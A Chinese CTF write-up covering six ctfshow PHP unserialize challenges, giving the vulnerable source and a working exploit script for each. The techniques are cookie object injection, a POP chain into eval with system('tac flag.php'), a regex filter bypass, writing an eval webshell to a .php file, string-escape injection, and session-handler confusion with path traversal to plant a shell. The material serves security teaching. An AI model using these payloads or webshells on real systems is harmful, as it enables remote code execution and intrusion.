11.ctf一些例题
第一题:
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
触发vipOneKeyGetFlag()
函数,但在此之前要使isVip
的值为true
,可是这道题没有对isVip
进行赋值的操作,所以我们要审计代码找到关键点对其赋值.
$user = unserialize($_COOKIE['user']);
找到关键值user,可以写入cookie中user的值,进行反序列化操作,使其赋值为true
编写脚本进行序列化操作
<?php class web255{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip; public function __construct(){ $this->isVip='true'; } } $a=new web255(); echo urlencode(serialize($a)) ?>
第二题:对象注入
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
这里与第一题出现变化的地方有一点
如果我们想得到flag,就需要利用backdoor这个类的getInfo函数,code这个私有属性储存着我们要执行的命令
class backDoor{ private $code; public function getInfo(){ eval($this->code); }
触发getInfo的方法在ctfShowUser这个类中
public function __construct(){ $this->class=new info(); } public function __destruct(){ $this->class->getInfo(); }
所以我们可以利用他的destruct函数来触发在创建对象时类的getInfo()函数,通过ctfShowUser的 construct魔术方法来创建backdoor对象构造出pop链
backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct
但是面临一个问题,就是backdoor
的code
属性是私有变量
,应该如何解决
这里其实可以不管他,因为我们最后的输出是进行url编码
的,最后privite
生成的不可见字符\0
也会被编码成%00
,也可以直接将private
变为public
,利用php语言不敏感的特性来进行反序列化,脚本如下:
<?php class web257{ private $username='xxxxxx'; private $password='xxxxxx'; private $class = 'backdoor'; public function __construct(){ $this->class=new backdoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="system('tac flag.php');"; public function getInfo(){ eval($this->code); } } $a=new web257(); echo urlencode(serialize($a)) ?>
第三题:加入了正则定理
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
这里多了个过滤
preg_match('/[oc]:\d+:/i', $_COOKIE['user']
正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过
还是上一题的pop链
backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="system('tac f*');"; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=serialize($a); $b=str_replace("O:","O:+",$b); echo urlencode($b) ?>
第四题: 反序列化+一句话木马
highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。
所以在进行反序列化的时候不用去管__wakeup,这里的coke==0x36d,是弱比较,36d是十六进制,转换为十进制就是877,
这里code是在__unserialize函数触发的时候被username和password拼接起来的
$this->code = $this->username.$this->password;
所以只要username=877.php,password=shell就可以了
因为是弱比较,所以877.php=877是成立的
这里sleep()也不用管,sleep是在进行序列化的时候触发,所以构造exp的时候删掉就行了,unserialize触发方式和wakeup()一样,在反序列化开始的时候会触发,__invoke是当对象被当做函数时执行此方法
<?php class web261 { public $username; public $password; public function __construct() { $this->username = '877.php'; $this->password = '<?php eval($_REQUEST[yuanshen]);?>'; } } $a = new web261(); echo urlencode(serialize($a)); ?>
第五题: 反序列化字符串逃逸
<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
注释里面提示打开message.php
<?php highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
传入cookie值msg.
<?php class message{ public $from='1'; public $msg='2'; public $to='3'; public $token='admin'; } $a = new message(); print_r(serialize($a)); ?> //O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";} //O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
但是,在construct中是没有token的初始化的,而又不存在对象注入,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的,但是我们想要的效果是:
将s:5:"token";s:5:"admin";}插入到 O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}中 <?php class message{ public $from='1'; public $msg='2'; public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符 public $token='user'; } $a = new message(); print_r(serialize($a)); ?> //O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} 这样就欺骗的天衣无缝了
通过这样的方式来实现欺骗,但是插入的部分
但是整条语句是存在逻辑问题的:
在s:28:"3";这个地方,正常逻辑是3只有一个字符,但是却被标注为28个,那么在反序列化的时候,就会出现报错,但是此题在反序列化之前会对msg的参数进行替换操作,会将4个字符的fuck替换5个关字符的loveu,这样的话本来缺少的27个字符,就会被经过增加替换而多出来的27个字符顶替,正好满足136=109(love)+27(u),而后面的27个字符也就顺理成章的替换了后面的token
<?php class message{ public $from='1'; public $msg='2'; public $to='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';//此处有27个fuck=109+27=136 public $token='user'; } $a = new message(); print_r(serialize($a)); ?> //O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
payload:?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php就可以得到flag
第六题 session反序列化
<?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); // sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } } class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } ?>
$this->username,$this->password
均为我们可控,所以存在漏洞
index.php:
<?php error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1'));// $_SESSION['limit']= 1; } ?>
这也就是一开始的登陆页面
check.php:针对cookie中的limit进行次数检测
<?php error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ //登陆成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //登陆失败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); }
session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种:
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
因为此php版本为7.3.11,并且设置为php处理器而不是php_serialize处理器,所以存在session反序列漏洞
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";} 1 php 引擎下文件内容为:
name|s:6:"spoock"; 1 暂时用到的是这两个
exp:
<?php class User{ public $username="admin/../../../../../../../../../../var/www/html/1.php"; public $password="<?php system('cat flag.php');?>"; public $status; } $a = new User(); $c = "|".serialize($a); echo urlencode(base64_encode($c));
解题步骤: 1.首先访问首页,获得 cookie,同时建立 session 2.通过cookie manager将cookie中的limit修改为序列化字符串 3.访问 check.php,反序列化实现 shell 写入 4.访问1.php审查元素查看flag